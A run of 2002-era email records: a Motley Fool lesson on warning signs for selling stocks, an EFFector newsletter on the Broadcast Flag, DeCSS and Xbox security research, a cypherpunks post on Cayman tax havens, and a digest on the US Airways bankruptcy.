downgrades. This is for one reason: We don't care what analysts think, and we certainly don't put any credence in their deeply compromised ratings systems. Sure, we read analyst research. After all, many analysts have significantly more access to business management than we ever will as individual investors, so they can have some valuable insights. But if you want to watch a much better predictor of company trouble than analyst rating systems, watch the bond market (more on this later). ""Strong buy?"" Pfffffft. In this lesson, we look specifically at signs that a company is slipping. Investors need to remember one key point: For highly valued companies, it only takes a small slip to lead to a large share price decline. For example, a company priced at a multiple of 30 times earnings is expected to grow faster than one that is priced at 15 times. As a result, investors in the high-multiple company are much more likely to be traumatized if its business starts to show slowing growth (in earnings, sales, cash flows, whatever). Thus, with highly valued companies in particular, it's important to be vigilant in monitoring any slips. Even a company that's growing nicely may be sending clear sell signals. So let's look at a few instances where companies have started to go wrong. Our goal here is to learn how to recognize the warning signs of an impending stock collapse before it happens. Warning sign 1: Slowing sales growth Through 2000, Nokia (NYSE: NOK) could do no wrong. It was one of the fastest-growing stocks in the '90s and the largest, best capitalized participant in one of the hottest sectors of the market: wireless telecommunications. In 2000, Nokia posted revenue gains well in excess of 50% each quarter. Then, in April 2001, it hit a clunker -- 22% growth, followed by 5% growth the next quarter. For investors in a high-multiple (high P/E) company, this is rough. For most companies, a second quarter in a row of dramatically slowing sales is enough. Get out. For a barnburner like Nokia, one is enough. Some words of wisdom: Keep companies in one of the hottest sectors on a very short leash. Hot sectors cool off -- they always do. Remember, railroads were once the hot sector, then canals, car companies, radios, and so on. It ends. Be ready. If you're expecting sales to continue roaring full-steam ahead and they don't, it's time to position your finger on the sell trigger. If sales growth slows unexpectedly, be prepared to give a company one quarter to bring up its performance. But unload on the second straight quarter of slowing sales, measured on a year-over-year basis. (Always compare the quarterly growth on a year-over-year basis -- a comparison of sequential quarterly growth is a worthless measure. Seasonal effects can skew sequential growth.) Warning sign 2: Divergent sales and profit growth By April 2001, Nokia had shed some 60% of its peak value. Signs were surely evident in advance, right? Why, yes. Companies growing top lines (sales) should generally be growing bottom lines (earnings) at a similar clip. Even though Nokia's sales were growing through 2000 at 50%-plus per quarter, at the end of the year, net profit growth dropped suddenly from around 70% to 40%. Profits recovered slightly in the fourth quarter, only to collapse in the first two quarters of 2001. The economics changed quickly, and with a hyper-growth company, the stock reacted just as fast. Even those not deeply versed in the technology and economics of the mobile phone industry could see signs that something was wrong. Warning sign 3: Plummeting cash flowsIn 1999, Lucent (NYSE: LU) looked beautiful from an earnings perspective, but horrible from a cash flow perspective. We look at two numbers: operating cash flow and free cash flow. Free cash flow can be low for growing companies, as they have significant capital investment demands, but low operating cash flow is inexcusable. Lucent's experiences are telling. In 1999, Lucent's full-year earnings came out at a gaudy $4.7 billion, based upon $38 billion in revenue. The company was on top of the world, and it was, at the time, the largest telecommunications equipment company by market cap, at $260 billion. But as Matt and I detailed in January 2000, big troubles were afoot, lurking in the company's cash flow statement. On an operating cash flow basis for fiscal 1999, the company lost $276 million. That's a far cry from the $4.7 billion in reported net income. And on top of that, Lucent had more than $2.2 billion in capital expenditures. Thus, the difference between Lucent's earnings and its free cash flow (operating cash flow minus capital expenditures) was an amazing $7.3 billion, and not in a good way. The investor who picked up on this scary dichotomy could have saved herself losses in excess of 98%. (As an aside, since 1999, Lucent has gone on to restate its 1999 cash flow not once, but twice, and in the most recent 10-K, the 1999 operating cash flow is reported as a loss of $1.8 billion.) And get this -- you'll see nearly the exact same thing on Enron's old financial statements. Cooked books or no, they weren't generating much cash. In fact, they were destroying it. Warning sign 4: Watch those bonds Remember what we said about ignoring analysts? Well, it's because their information can be quite conflicted, and it's almost impossible to tell if any one individual has your best interests in mind. Fortunately, another group can give you the same type of signals: investors who hold a company's bonds. Bondholders buy a piece of a company's debt and are generally paid interest on this obligation by the company. Watch the current price of a bond, and it will tell you the current odds bondholders are giving to that obligation being paid. I recommend keeping a log sheet where you write down the price of the bond. Download it here. If you see a drop, the bondholders are growing pessimistic. You might even see this at the same time analysts are shouting, ""Strong buy!"" I recommend the Yahoo! Bond Center. You can search on any company and get a list of existing bonds. Find a bond with a maturity between five and 10 years hence. Check the price. A bond priced at 100 is at ""par,"" which means that the bond's face-value interest rate fairly compensates the investor for the risk. Some bonds are priced above 100, meaning the interest yield will be lower than face value. These are considered to be very low risk. But some are priced below face value, even way below. As of this writing, WorldCom (Nasdaq: WCOME) bonds are priced at 18, which means that bondholders assume there's little chance they'll be paid. Tyco (NYSE: TYC), for all of its recent problems and high levels of debt, has 6.75% interest bonds, with 2011 maturity priced at 83. That's a discount to face, but not one that alludes to an imminent default. Qwest (NYSE: Q) sports a price of 85 on its 7.25% 2011 bonds, even closer to par than Tyco. These prices don't indicate healthy companies, but they don't insinuate imminent default or bankruptcy either. Warning sign 5: ""It just doesn't get any better"" For a brief time in 2000, Cisco Systems (Nasdaq: CSCO) was the largest company in the world by market capitalization. This should have been a warning. As I wrote in May 2000 when the stock was around $57, Cisco's valuation of nearly $400 billion implied that investors expected the company's earnings to reach $34 billion in 2010. Yet no company had ever generated earnings higher than $12 billion in a single year. As it turned out, I almost perfectly called the top for Cisco -- it has shed nearly $300 billion in market cap since that article. Only those that decided it couldn't possibly get any better achieved a sale near the high watermark. Cisco showed no signs of a decline. For the quarter that ended Jan. 29, 2000, Cisco turned in sales of $4.3 billion, as compared to $2.8 billion for the same quarter the year before -- a growth rate of 53%. The following quarter was 58% higher, then 62% higher, then 66% higher. Only Cisco's stock price rise could beat these numbers. Imagine a $385 billion company with a P/E of 156! The assumptions for future growth were mind-bending, though at the time, in the midst of the data revolution, they seemed plausible. As investors, we must be on the correct side of probabilities. Taking a portion of our Cisco investment off the table, at this point, would've been a smart choice. Remember, Cisco's business was fine in 2000, but the enterprising investor knows that a lot has to be right for the situation to work out. HomeworkFor this lesson, we ask you to do the same thing as we did after Lesson 1. Pick a company -- maybe even the same company you looked at last time -- to continue studying. For your company, do the following: Track the year-over-year sales growth for each of the past four quarters and three fiscal years. Is growth accelerating, staying about the same, or weakening? Track the year-over-year net income growth for each of the past four quarters and three fiscal years. Is net income growing slower or faster than sales? Is there a trend to these figures? Track your company's operating cash flow for each of the past three fiscal years. Is it lower or higher than reported net income for the corresponding year? (We're not having you look at quarterly cash flow because those figures can bounce around due to the timing of payments. Annual cash flow data is much more indicative of real cash flow trends.) If your company has long-term debt, go the Yahoo! Bond Center and check the price of your company's bonds. (If you don't know whether your company has any debt, just type your company name into the bond center and see if any debt shows up.) Finally, examine your company's market cap relative to its current net income over the past year. What's the P/E ratio? Is there reason to believe your company has every rosy scenario already priced into its stock? (In the current bear market, this is much less likely than it was a few years ago, but it's still a question you should consider.) To help you out, we've put together the Foolish Stock Information Form to track all of your research and information about your stocks. You can get to by clicking here. We've also outlined how to find all of the information above, here. So dust off the old calculator, find your company's financials, and get to work. Quarterly financial data is best found in company 10-Qs, and annual data is best found in company 10-Ks. You should be able to find all of this information using financials from either the company website or at Fool.com on the Quotes & Data area. Feeling a little lost?If you're new to using SEC filings, read this overview of financial statements. Above all else, just do your best. Once you've done what you can, report your findings to your teammates! We've also put together an ongoing list of resources so you can dive in a little deeper. You can click on the ""Lesson Resources"" link in the right column or click here to find more resources to help you better understand financial statements, general investing equations, and stock options. Matt and I will be joining you on the boards with our own analyses, so you can examine our processes. Fool on! Bill and Matt In case you missed this week's earlier announcement, please note that there is a correction to Lesson 1. The fifth automatic sell rule regarding stock option grants should read: We set 3% as our maximum for developed companies, 5% for developing ones (use $500 million in sales as a rough boundary between the two). You can read the correct lesson in its entirety by clicking on ""Lesson 1"" below. If you have any questions, hit your team board and ask away! Lesson 1: On Selling Lesson 2: Companies Gone Wrong Lesson 3: Gut Checks and Safety Valves Lesson 4: When a Company Becomes Overvalued Lesson 5: Report Card Part 1 - Business Prospects Lesson 6: Report Card Part 2 - Valuation Lesson 7: Panning for Panera Lesson 8: The Report in Action - Johnson & Johnson Start Page Orientation Downloads Lesson Resources Discussion Board Intro Discussion Board FAQ How Do I...? Choose Your Team Operating Cash Flow Free cash flow Lessons from Lucent Log Sheet Yahoo! Bond Center Do Big-Cap Tech Stocks Mean Big Risk? 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Coble's Support of Berman P2P Hacking Bill * Administrivia For more information on EFF activities & alerts: http://www.eff.org/ To join EFF or make an additional donation: http://www.eff.org/support/ EFF is a member-supported nonprofit. Please sign up as a member today! -------------------------------------------------------------------- * EFF Submits Letter to FCC Chairman Regarding BPDG Proposal The Honorable Michael K. Powell Chairman Federal Communications Commission 445 12th Street, S.W. Suite 8C453 Washington, DC 20554 BY FACSIMILE, ELECTRONIC MAIL, AND POSTAL MAIL Dear Chairman Powell: I am writing to you today in regards to the digital television Broadcast Flag; specifically, I write in response to Sen. Hollings' and Representatives Dingell and Tauzin's letters of July 19, which urged you to mandate the Broadcast Flag proposal outlined in the final report of the Broadcast Protection Discussion Group. The Electronic Frontier Foundation (EFF) is a donor-supported non-profit organization that works to uphold civil liberties interests in technology policy and law. EFF has played a critical role in safeguarding crucial freedoms related to computers, the Internet and consumer electronics devices, defeating the restriction on strong cryptography exports; securing the legal principle that Internet wiretaps must only proceed in conjunction with a warrant; and defending academics, researchers and commercial interests against DMCA-related prosecution. EFF was an active participant in the Broadcast Protection Discussion Group. We attended the group's meetings and conference calls and participated in the group's policy and technical mailing-lists. EFF also maintains a web-site that was and is the only public source of information on the Broadcast Flag negotiations and proposal. The site can be found at http://bpdg.blogs.eff.org. EFF devoted thousands of staff-hours to publicizing the existence and nature of the BPDG to the public, to civil liberties and consumer-advocacy groups, and to entrepreneurial companies and software authors whose products were threatened by the proceedings. When you and I met at Esther Dyson's PC Forum last March, we spoke briefly about the civil liberties interests that would be undermined by the Broadcast Protection Discussion Group's mandate. The BPDG proposal will have grave consequences for innovation, free expression, competition and consumer interests. Worst of all, it will add unnecessary complexity and expense to the DTV transition, compromising DTV adoption itself. As you are aware, technologists have traditionally manufactured those devices they believed would be successful in the market, often in spite of the misgivings of rights-holders. From the piano roll to the PVR, technologists have enjoyed the freedom to ship whatever products they believe the public will pay for; what's more, innovation has always thrived best where there were the fewest regulatory hurdles. NTSC tuners and devices are governed by precious few regulations, and consequently we see a rich field of products that interact with them, from the VCR Plus to tuner-cards for PCs to the PVR. The Broadcast Flag proposal would limit technologists to shipping those products that met with the approval of MPAA member companies. No entrepreneur or software author will know, a priori, whether his innovative DTV product will be legal in the market until he has gone to the expense of building it and taking it around to the Hollywood studios for review. Consumers and industry alike have benefitted greatly from the ""Open Source"" or ""Free Software"" movement, in which technologies are distributed in a form that encourages end-user modification. From server-software like the web-wide success-story apache, to operating systems like GNU/Linux, to consumer applications like the Mozilla browser, Free Software is a powerful force for innovation, consumer benefit and commercial activity. The BPDG proposal implicitly bans Free Software DTV applications -- such as the DScaler de-interlacer and the GNU Radio software-defined radio program -- as these applications are built to be modified by end-users, something that is banned under the BPDG proposal. The tamper-resistance component of the BPDG's ""Robustness Requirements"" will create and entire class of illegal software applications, abridging the traditional First Amendment freedom enjoyed by software authors who create expressive speech in code form under one of several Free Software/Open Source licenses. The BPDG nominally set out to create an objective standard, a bright line that technologists could hew to in order to avoid liability when deploying their products. However, the end product of the BPDG was a ""standard"" that contained no objective criteria for legal technology; rather, the standard required that new technologies be approved by MPAA member companies. Not uncoincidentally, the only technologies that were approved by the MPAA -- and hence the only legal technologies -- were those produced by the 4C and 5C consortia, a group of technology companies that acted as the MPAA's allies throughout the BPDG process. This is an harbinger of the sort of regime that the BPDG standard will usher in: technology companies will be able to shut their competitors out of the marketplace by allying themselves with Hollywood, brokering deals to allow certain technologies and outlaw others. The marketplace is a proven mechanism for rapidly and efficiently producing products that increase the value and desirability of new technologies, such as DTV. A BPDG mandate would subvert the market for DTV innovation. Competing companies with lower-cost DTV technology alternatives would be restrained from bringing these to market if they failed to assuage the MPAA's concerns about unauthorized redistribution. Furthermore, the universe of unauthorized-but-lawful uses for DTV programming will be shrunk down to the much smaller space of explicitly authorized uses. The ability of the public to make unauthorized-but-lawful uses of television programming has been an historical force for increasing the value of broadcast programming, from the VCR to the PVR. Ironically, the inevitable damage that a Broadcast Flag mandate would do to innovation, competition and consumer interests can only slow down DTV adoption, by driving up the cost of DTV devices while reducing the number of desirable features that an open market would create. If the public is offered less functionality for more money, they will not flock to DTV. The most disheartening thing about the Broadcast Flag is that there is neither a strong case that the Broadcast Flag is a necessary tool for protecting copyright, nor that the Broadcast Flag would be effective in that role. The existing practice of Internet infringement of broadcast programming -- analog captures from devices that satisfy the requirements of the BPDG proposal -- would not be stopped by the presence of a Broadcast Flag. Higher-resolution DTV signals will likewise present no challenge to determined infringers, who can capture full-quality analog signal from DTV devices and then re-digitize them, suffering only a single generation's worth of loss-of-quality before the programming enters the Internet. Meanwhile, the underlying rubric for a Broadcast Flag -- that infringement will undermine Hollywood's business to the point that movies will no longer be available to the public, reducing the value of DTV -- is no more than superstition. No credible study or analysis, undertaken by a neutral party, has ever been presented to Congress, the FCC, the CPTWG or the BPDG supporting this notion. The public is being asked to sacrifice its rights in copyright; industry is being asked to place its right to innovation in the hands of entertainers; the US government is being asked to mandate extraordinary, unprecedented regulation of the $600 billion technology sector -- all on the uncorroborated opinions of a few studio executives. EFF welcomes the FCC's oversight of the Broadcast Flag issue. The BPDG proceedings took place behind a shroud of secrecy, in a looking-glass ""public process"" where only those participants the organizers wanted to hear from were made privy to its existence, where the co-chairs invented rules and processes on the fly to suit the needs of the entertainment interests and the technology companies that had privately secured a promise of a legal monopoly for their products, where the press was banned. The FCC has an admirable tradition of seeking and weighing public opinion in its proceedings. As the FCC considers the Broadcast Flag, EFF hopes that it will start anew, setting aside the findings of the BPDG in light of the concerns raised by Microsoft, Philips, Sharp, Thomson, and Zenith, as well as non-profit organizations including EFF, Consumers Union, Consumer Federation of America, the Free Software Foundation, Public Knowledge, digitalconsumer.org, the Center for Democracy in Technology, and the Computer and Communications Industry Association. Thank you for attention in this matter. Please let me know if we can be of any further assistance to you. Sincerely yours, Cory Doctorow for the Electronic Frontier Foundation Links: EFF's BPDG Blog: http://bpdg.blogs.eff.org An overview of our concerns with the broadcast flag: http://bpdg.blogs.eff.org/archives/one-page.pdf Letter from Sen. Hollings: http://bpdg.blogs.eff.org/archives/000155.html Letter from Rep. Tauzin: http://bpdg.blogs.eff.org/archives/000156.html -------------------------------------------------------------------- * Update on Intel Corp. v. Hamidi Intel Corp. v. Hamidi is now on appeal to the California Supreme Court. EFF filed an amicus brief in support of Ken Hamidi on Aug. 6, 2002. The facts are simple: Over about two years, Hamidi on six occasions sent e-mail critical of Intel's employment practices to between 8,000 and 35,000 Intel employees. Intel demanded that Hamidi stop, but he refused. Intel obtained an injunction barring Hamidi from e-mailing Intel employees at their Intel e-mail addresses, based on the common-law tort of ""trespass to chattels."" (""Chattel"" is a legal term that refers to personal property, as opposed to property in land.) EFF's amicus brief argues three main points. (1) Intel did not qualify for relief under ""trespass to chattels"" because Intel's e-mail servers were not themselves harmed by Hamidi's e-mails. If Intel was harmed, it was because the content of Hamidi's e-mails affected Intel employees, not because sending the e-mails affected the functioning of Intel's servers. (2) By focusing on unwanted ""contact"" with the chattel and ignoring the harm requirement, the court of appeal turned ""trespass to chattels"" into a doctrine that threatens common Internet activity like search engines and linking. For example, if a website posted a ""no trespassing"" sign, any ""contact"" by a search engine could be considered a trespass even if it caused no harm. (3) The court of appeal wrongly held that the injunction did not infringe Hamidi's freedom of speech. The First Amendment limits private parties' legal remedies in many areas of law, such as libel, out of concern that private parties will use the law to suppress criticism. The same principle should apply here, where Intel's claims of harm stem from the meaning of Hamidi's speech. Links: The Intel v. Hamidi Archive: http://www.eff.org/Cases/Intel_v_Hamidi/ - end - -------------------------------------------------------------------- * DeCSS Author Johansen's Trial Rescheduled The trial of Norwegian teen Jon Johansen, who created the controversial DeCSS software, has been pushed back again. It is now scheduled to be heard on December 9, 2002, in Oslo, Norway. In the fall of 1999, Johansen and his team reverse-engineered the content scrambling system (CSS) software used to encrypt DVDs in an effort to build a DVD player for the Linux operating system. In January of 2002, the Norwegian Economic Crime Unit (OKOKRIM) charged Johansen with a violation of Norwegian Criminal Code Section 145.2, which outlaws breaking into a third-party's property in order to steal data that one is not entitled to. This prosecution marks the first time the law will be used to prosecute a person for accessing his own property (his own DVD). Johansen faces two years in prison if convicted. The prosecution is based on a formal complaint filed by the Motion Picture Association. The trial had originally been scheduled to take place in June of 2002 but was rescheduled when the court could not find any qualified judges to hear Johansen's case. Now the case is scheduled to be heard by a three-judge panel. Help Jon in his battle against Hollywood movie studios, donate to his legal defense fund at: http://www.eff.org/support/jonfund.html Links: The DeCSS/Johansen Archive: http://www.eff.org/IP/Video/DeCSS_prosecutions/Johansen_DeCSS_case/ Digital Rights Management Archive: http://www.eff.org/IP/DRM/ - end - -------------------------------------------------------------------- * Bunnie Presents Paper on XBox Reverse Engineering Paper Explains Flaw in Videogame Security System Researcher Escapes Chilling Effect of Digital Copyright Law Electronic Frontier Foundation Media Advisory For Immediate Release: Thursday, August 9, 2002 San Francisco - The Electronic Frontier Foundation (EFF) is pleased to announce that former MIT doctoral student Andrew ""Bunnie"" Huang will present a paper explaining a security flaw in the Microsoft Xbox (TM) videogame system. Huang will present his paper, ""Keeping Secrets in Hardware: the Microsoft X-BOX Case Study,"" at 5:25 p.m. PDT on August 13, 2002, at the 2002 Workshop on Cryptographic Hardware and Embedded Systems (CHES 2002) in Redwood City, California (Aug. 13-15, 2002). The Xbox security system is intended to allow people to play only videogames authorized by Microsoft. Huang's paper ""shows how a person could defeat that system with a small hardware investment,"" said MIT Professor Hal Abelson, one of Huang's advisors. ""More importantly, the paper relates the security vulnerability to a general design flaw shared by other high-profile security systems such as the government's Clipper Chip and the movie industry's Contents Scrambling System (CSS) for DVD players."" Huang contacted EFF in March after his advisors told him that his preliminary findings raised potentially significant legal questions. With the help of Boston College law professor Joe Liu, EFF worked with Huang, Abelson, and MIT administrators to analyze the legal issues and draft letters notifying Microsoft of Huang's research findings and intended publication, one of the steps encouraged by Digital Millennium Copyright Act (DMCA). Microsoft told Huang and Abelson that while it might prefer that the paper not be published, it would be inappropriate to ask MIT to withhold the paper. ""Microsoft deserves praise for making no attempt to control publication,"" said Abelson. ""Their response shows that they value academic freedom, and that they appreciate the critical role of unfettered research and publication in advancing technology."" Other companies have reacted otherwise, using the DMCA to threaten researchers. The Recording Industry Association of America last year warned Princeton Professor Edward Felten after his research team exposed weaknesses in digital music security technologies. Last month, Hewlett Packard (HP) threatened research collective SnoSoft over exposing a security vulnerability in HP's Tru64 Unix operating system. Soon after, HP clarified that it would not use the DMCA to stifle research or impede the flow of information that would improve computer security. Huang said that while he is glad he can openly present his paper, ""The DMCA clearly had a chilling effect on my work. I was afraid to submit my research for peer review until after the EFF's efforts to clear potential legal restraints."" ""Researchers should be analyzing security, not worrying about getting sued,"" said EFF Senior Staff Attorney Lee Tien. Links: For this release: http://www.eff.org/IP/DMCA/20020808_eff_bunnie_pr.html For Huang's paper: ftp://publications.ai.mit.edu/ai-publications/2002/AIM-2002-008.pdf For the CHES program: http://islab.oregonstate.edu/ches/program.html EFF ""Unintended Consequences: Three Years Under the DMCA"" report: http://www.eff.org/IP/DMCA/20020503_dmca_consequences.pdf RIAA sues Professor Edward Felten over SDMI: http://www.eff.org/Legal/Cases/Felten_v_RIAA/ An article about Hewlett-Packard's threatening SnoSoft: http://www.wired.com/news/technology/0,1282,54297,00.html - end - -------------------------------------------------------------------- * EFF Thanks Defcon EFF thanks The Dark Tangent and other organizers of the DEF CON X convention for their generous donation of exhibition space at DEF CON (http://www.defcon.org/). DEF CON is an ""underground"" computer security conference held each summer in Las Vegas. Links: Defcon Website: http://www.defcon.com/ - end - -------------------------------------------------------------------- * EFF Booth at LinuxWorld Come visit EFF at booth #488 at Linuxworld next week. We'll be passing out information, good cheer, and a slew of new stickers. When: August 13 - 15 10a - 5p Where: Booth #5 Moscone Center 747 Howard Street San Francisco, CA 94103 Links: LinuxWorld Conference Website: http://www.linuxworldexpo.com/ Floor Map and EFF Booth: http://www.linuxworldexpo.com/linuxworldexpo/v31/floorplan/floorplan .cvn?b=97& exbID=50 - end - -------------------------------------------------------------------- Deep Links Deep Links is a new department in the EFFector featuring noteworthy news-items, victories and threats from around the Internet. * Baen Books expands fair-use-friendly e-book program Baen Books will bind a CD-ROM into the October 2002 hardcover edition of *War of Honor,* the latest volume in David Weber's epic Honor Harrington space-opera. The CD will contain at least 22 complete novels, all in open formats like html and RTF, with the fair-use-friendly admonishment ""This disk and its contents may be copied and shared but NOT sold."" Included on the disk are the entire Honor Harrington series to date, as well as other titles from the Baen line, including Keith Laumer's *Retief!* and Larry Niven and Jerry Pournelle's *Fallen Angels*. Baen has been a banner-carrier for fair-use in electronic publishing, shipping text and html files that can be played on a multitude of devices. Other publishers have chosen to publish their material in copy-controlled formats that make it impossible to legally loan or resell the titles you purchase, are locked to a specific device, can't play on every operating system, and occasionally lock out assistive technology like the screen-readers employed by the blind. Dmitry Skylarov, a Russian scientist, was arrested in July 2001, for demonstrating how end-users could defeat the copy-prevention employed by Adobe's e-book technology. Adobe asked the FBI to arrest Skylarov for violating the Digital Millennium Copyright Act (DMCA), which makes it a crime to describe techniques for circumventing copy-prevention technology. Though Skylarov was later released, his employer, ElcomSoft, is still facing charges in the USA, and the Russian government has issued an advisory warning Russian scientists to steer clear of American technical conferences until the DMCA is repealed. Here is Baen's statement on the CD release: You are about to start playing with a CD-ROM that has fairly extraordinary content. As of this writing it includes twenty-two UNENCRYPTED novels in several formats, the ten Honor Harrington Novels, 3 Honor Harrington Anthologies and 9 novels by friends of Honor, and by the time of distribution it may well contain more. (More than twenty novels for free, and with no stupid codes to work around. Think of that.) The reason for the plethora of formats is to try to please the people who want to read the novels on their Palm Pilots or other text-specialized palm-sized devices. Links: Baen Books's page for *War of Honor*: http://www.baen.com/orientation.htm Slashdot discussion of *War of Honor* release: http://slashdot.org/article.pl?sid=02/08/03/2314232&mode=flat&tid= 149 EFF documents on Dmitry Skylarov and ElcomSoft: http://www.eff.org/IP/DMCA/US_v_Elcomsoft/ EFF documents on the Digital Millennium Copyright Act (DMCA): http://www.eff.org/IP/DMCA/ - end - * Singer/Songwriter Janis Ian on P2P Lucid article on the benefits of peer-to-peer networks form an artists' perspective. http://www.janisian.com/article-internet_debacle.html - end - * Hometown Paper Discusses Rep. Coble's Support of Berman P2P Hacking Bill Column on how a good Representative can make a bad call. http://www.news-record.com/news/columnists/staff/cone04.htm - end - -------------------------------------------------------------------- Administrivia EFFector is published by: The Electronic Frontier Foundation 454 Shotwell Street San Francisco CA 94110-1914 USA +1 415 436 9333 (voice) +1 415 436 9993 (fax) http://www.eff.org/ Editor: Ren Bucholz, Activist ren@eff.org To Join EFF online, or make an additional donation, go to: http://www.eff.org/support/ Membership & donation queries: membership@eff.org General EFF, legal, policy or online resources queries: ask@eff.org Reproduction of this publication in electronic media is encouraged. Signed articles do not necessarily represent the views of EFF. To reproduce signed articles individually, please contact the authors for their express permission. Press releases and EFF announcements & articles may be reproduced individually at will. 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To unsubscribe from all mailing lists originating from alerts@action.eff.org, send an email to alerts@action.eff.org with ""Remove"" as the only text in the subject line.",0,1 nobody@dogma.slashnull.org,zzz+blogged@example.com,"Mon, 12 Aug 2002 11:27:02 +0100",blogged item,"BlogStart: **Cypherpunks**: Tax havens and offshore islands are not quite as ''free'' -- at least in terms of personal liberties -- as people might think. R. A. Hettinga tells some stories about ''Triumph, the Fabulous Crotch-Sniffing Caymanian Customs Wonder Dog, ... and (the Cayman-born expat's kid) who was literally exiled from the island when the island constabulary ""discovered"" a marijuana seed or three in his summer-break rental car a few years back.'' I guess it's back to the oil rigs then ;) BlogEnd: LinkText: tells some stories ------- Forwarded Message Date: Sun, 11 Aug 2002 12:31:56 -0400 From: ""R. A. Hettinga"" -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 3:36 PM +1000 8/11/02, David Hillary wrote: > I think that tax havens such as the Cayman Islands should be ranked > among the freest in the world. No taxes on business or individuals > for a start. Great environment for banking and commerce. Good > protection of property rights. Small non-interventionist > government. Clearly you've never met ""Triumph"", the Fabulous Crotch-Sniffing Caymanian Customs Wonder Dog at extreme close range, or heard the story about the expat's college age kid, actually born on Cayman, who was literally exiled from the island when the island constabulary ""discovered"" a marijuana seed or three in his summer-break rental car a few years back. I mean, his old man was some senior cheese at Global Crossing at the time, but this was back when they could do no wrong. If that's what they did to *his* kid, imagine what some poor former junk-bond-hustler might have to deal with someday for, say, the odd unauthorized Cuban nightlife excursion. A discretely folded twenty keeps the stamp off your passport on the ground in Havana, and a bottle of Maker's Mark goes a long way towards some interesting nocturnal diversion when you get there and all, but still, you can't help thinking that Uncle's going to come a-knockin', and that Cayman van's going to stop rockin' some day, and when it does, it ain't gonna be pretty. Closer to home, conceptually at least, a couple of cryptogeeken were hustled off and strip-searched, on the spot, when they landed on Grand Cayman for the Financial Cryptography conference there a couple of years ago. Like lots of cypherpunks, these guys were active shooters in the Bay Area, and they had stopped in Jamaica, Mon, for a few days on the way to Grand Cayman. Because they, and their stuff, reeked on both counts, they were given complementary colorectal examinations and an entertaining game of 20 questions, or two, courtesy of the Caymanian Federales, after the obligatory fun and games with a then-snarling Crotch-Sniffing Caymanian Wonder Dog. Heck, I had to completely unpack *all* my stuff for a nice, well-fed Caymanian customs lady just to get *out* of the country when I left. Besides, tax havens are being increasingly constrained as to their activities these days, because they cost the larger nation-states too much in the way of ""escaped"" ""revenue"", or at least the perception of same in the local ""free"" press. Obviously, if your money ""there"" isn't exchangeable into your money ""here"", it kind of defeats the purpose of keeping your money ""there"" in the first place, giving folks like FinCEN lots of leverage when financial treaties come up for renegotiation due to changes in technology, like on-line credit-card and securities clearing, or the odd governmental or quango re-org, like they are wont to do increasingly in the EU, and the US. As a result, the veil of secrecy went in Switzerland quite a while ago. The recent holocaust deposit thing was just the bride and groom on that particular wedding-cake, and, as goes Switzerland, so goes Luxembourg, and of course Lichtenstein, which itself is usually accessible only through Switzerland. Finally, of course, the Caymans themselves will cough up depositor lists whenever Uncle comes calling about one thing or another on an increasingly longer list of fishing pretexts. At this point, the ""legal"", state-backed pecuniary privacy pickings are kind of thin on the ground. I mean, I'm not sure I'd like to keep my money in, say, Vanuatu. Would you? Remember, this is a place where a bandana hanging on a string across an otherwise public road will close it down until the local erst-cannibal hunter-gatherer turned statutorily-permanent landowner figures out just what his new or imagined property rights are this afternoon. The point is, any cypherpunk worth his salt will tell you that only solution to financial or any other, privacy, is to make private transactions on the net, cheaper, and more secure, than ""transparent"" transactions currently are in meatspace. Then things get *real* interesting, and financial privacy -- and considerably more personal freedom -- will just be the icing on the wedding cake. Bride and groom action figures sold separately, of course. Cheers, RAH (Who went to FC2K at the Grand Cayman Marriott in February that year. Nice place, I liked Anguilla better though, at least at the time, and I haven't been back to either since. The beaches are certainly better in Anguilla, and the ""private"" banking system there is probably just as porous as Cayman's is, by this point. If I were to pick up and move Somewhere Free outside Your Friendly Neighborhood Unipolar Superpower, New Zealand is somewhere near the top of my list, and Chile would be next, though things change quickly out there in ballistic-missile flyover country. In that vein, who knows, maybe we're in for some kind of latter-day Peloponnesian irony, and *Russia* will end up the freest place on earth someday. Stranger things have happened in the last couple of decades, yes?) -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPVYS48PxH8jf3ohaEQKwtgCgw/XSwzauabEP/8jDvUVk/rgFdroAn0xf Owk90GoK+X5Pv+bGoKXCwzBK =1w9d -----END PGP SIGNATURE----- -- ----------------- R. A. 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The Arlington, Va.-based carrier sought cover under the bankruptcy code's Chapter 11, but much of its trouble could be traced to Sept. 11. Remember when all U.S. airports reopened except for Reagan Washington, which was too close to the White House and other gov sites? Remember how it was weeks before the first lonely flights lifted at last? Guess which airline was the major carrier there. (Hint: It's the same one that bled $2 billion in the past year.) Even before the terror attacks, U.S. Airways was an animal in pain. To all the usual industry troubles, add these: fierce competition from discounters, a too-small area of service concentrated on the East Coast, and an unofficial battle with United Airlines for the highest labor costs in the business. Frustrated, the carrier tried to throw in the towel two years ago, reminded the Washington Post. In a bid to get bought by United, U.S. Airways pleaded to federal antitrust regulators that it was too small to survive on its own. The feds disagreed and blocked the deal. Now, of course, U.S. Airways has a new flight plan. Among those likely to get airsick: shareholders, whose investment has vanished; employees, many of whom are expected to lose their jobs, even though their unions have conceded hundreds of millions of dollars in pay; and creditors, especially plane-leasing companies, which will collect only as much as a bankruptcy judge approves. (Where, by the way, is the reporter who will pick up the story of these leasing companies? Not one creditor was named in any account we could find. Yet before we soak our hankies over U.S. Airways, we'd like to hear a word from the folks getting stiffed.) Need a silver lining? Check out the Wall Street Journal, which observes that Continental Airlines ""soared to profitability"" thanks to its time in rehab a decade ago. We're guessing that anecdote is on the minds of Texas Pacific Group, which is plunking down $200 million for two-fifths of U.S. Airways. Texas Pacific also played friend in need to Continental -- and pocketed 11 times its investment. Meanwhile, it will be ""business as usual"" for U.S. Airways customers, the company's chief assured a skeptical New York Times. The airline will even continue to track and to honor frequent-flier miles. Better still: Cautious customers can use U.S. Airways miles to book flights with its marketing partner, United. And, hey, according to an analyst quoted in the Journal, there's at least a 20% chance that United won't be the next major carrier to announce it's gone broke. - Lori Patel US Airways Files for Chapter 11 http://abcnews.go.com/wire/Business/ap20020811_1301.html US Airways Announces Bankruptcy http://www.nytimes.com/2002/08/12/business/12AIR.html Shifts to Cause Rerouting of Some Booked Fliers http://www.nytimes.com/2002/08/12/business/12CONS.html US Airways Files for Bankruptcy Protection http://www.washingtonpost.com/wp-dyn/articles/A6587-2002Aug11.html US Airways Group, Hit Hard By Terror, Files for Chapter 11 http://online.wsj.com/article/0,,SB1029103594827437995,00.html (Paid subscription required.) ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- You've heard about identity management, but do you know about the opportunities and business models that will emerge as a result? Download a free executive summary of Esther 